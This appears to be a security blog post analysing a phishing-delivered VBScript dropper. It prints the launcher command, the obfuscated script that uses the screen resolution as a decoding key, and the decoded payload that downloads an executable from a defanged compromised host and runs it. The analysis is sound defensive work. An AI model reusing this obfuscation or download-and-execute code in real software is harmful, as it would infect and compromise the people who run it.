Obfuscation

Using Monitor Resolution as Obfuscation Technique

A quick blog post about a malicious VBScript macro that I analysed… Bad guys have always plenty of ideas to obfuscate their code. The macro was delivered via a classic phishing email with an attached zip archive that contained a Windows .lnk file. The link containing a simple call to cmd.exe with by very long “echo” line to write a VBScript file on the local disk and to execute it:

cmd.exe /c echo DATA >file.txt&&wscript //E:VBScript file.txt!%SystemRoot%\system32\SHELL32.DLL

The “DATA” dumped to file.txt have been beautified to be easily readable:

Set ak=GetObject("winmgmts:\\.\root\cimv2")
Set Kj0=ak.ExecQuery("Select * from Win32_DesktopMonitor",,48)
For Each Kj1 in Kj0
    Kj2=Kj1.ScreenWidth
    Kj3=Kj1.ScreenHeight
    Next
Kj5="hojiupO>mmfiTkcp!ufT;*##fyf/v##)dfyF/mmfiTkcp>dfyFkcp!ufT;*##mmfiT/uqjsdTX##)udfkcPfubfsD>mmfiTkcp!ufT;hojiupO>Jd!uft;hojiupO>gG!uft;hojiupO>7z!uft;uyfo;***2-MN-zepcftopqtfs/gG)cejn)cdtb)sid!fujsx/Jd;*zepcftopqtfs/gG)cofm!pu!2>MN!spg;eoft/gG;ftmbg-##fyf/g0tfmuju0ht/npd/zufjdptihji00;quui##-##UFH##!ofqp/gG;*##fyf/v##)fmjguyfufubfsd/7z>Jd!uft;*##2/6/utfvrfsquuiojx/quuiojx##)udfkcpfubfsd>gG!uft;*##udfkcpnfutztfmjg/hojuqjsdt##)udfkcpfubfsd>7z!uft"
execute(Replace(Kj4(Kj5,CStr(int(CInt((Kj2))/CInt((Kj3))))),chr(34)+chr(34),chr(34)))
Function Kj4(SP,IV)
    Dim s2,Op,Vz,d4,BQ:BQ=""
    s2=Len(IV)
    Op=1
    Vz=Len(SP)
    SP=StrReverse(SP)
    For d4=Vz To 1 Step -1
        BQ=BQ+chr(asc(Mid(SP,d4,1))-Asc(Mid(IV,Op,1))+48)
        Op=Op+1
        If Op Then Op=1 End If
        Next
    BQ=StrReverse(BQ)
    Kj4=BQ
End Function

As you can see, the variable Kj5 seems to be the most interesting and contains the obfuscated code. The script starts by connecting to WMI objects on the local computer (represented by the “.”):

Set ak=GetObject("winmgmts:\\.\root\cimv2")

Then it grabs the screen resolution from the Win32_DesktopMonitor object:

Set Kj0=ak.ExecQuery("Select * from Win32_DesktopMonitor",,48)
For Each Kj1 in Kj0
    Kj2=Kj1.ScreenWidth
    Kj3=Kj1.ScreenHeight
    Next

This technique could be used as a sandbox detection (many sandboxes have a low resolution by default) but it’s not the case this time. The width and height are converted to integers and the first divided by the second which returns always “1”. You should have an uncommon resolution where height > width or an ultra-wide monitor to get other results. This value “1” is passed to the function Kj4() which deobfuscates the long string. The function reverses the string and processes characters one by one starting by the end (character value – 49 + 48 – which shifts all characters by one: ‘h’ becomes ‘g’, ‘o’ becomes ‘n’, etc. Finally, the string is reversed again and is ready to be executed:

set y6=createobject("scripting.filesystemobject")
set Ff=createobject("winhttp.winhttprequest.5.1")
set cI=y6.createtextfile("u.exe")
Ff.open "GET","hxxp://highsociety.com.sg/titles/f.exe",false
Ff.send
for ML=1 to lenb(Ff.responsebody)
    cI.write chr(ascb(midb(Ff.responsebody,ML,1)))
    next
set y6=Nothing
set Ff=Nothing
set cI=Nothing
Set objShell=CreateObject("WScript.Shell")
Set objExec=objShell.Exec("u.exe")
Set objShell=Nothing

A classic HTTP connection is performed to drop the payload from a compromised server. Note that the macro did not work in my Windows 10 sandbox (empty values are returned instead of the screen width/height) but it worked with Windows 7.

 

3 comments

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.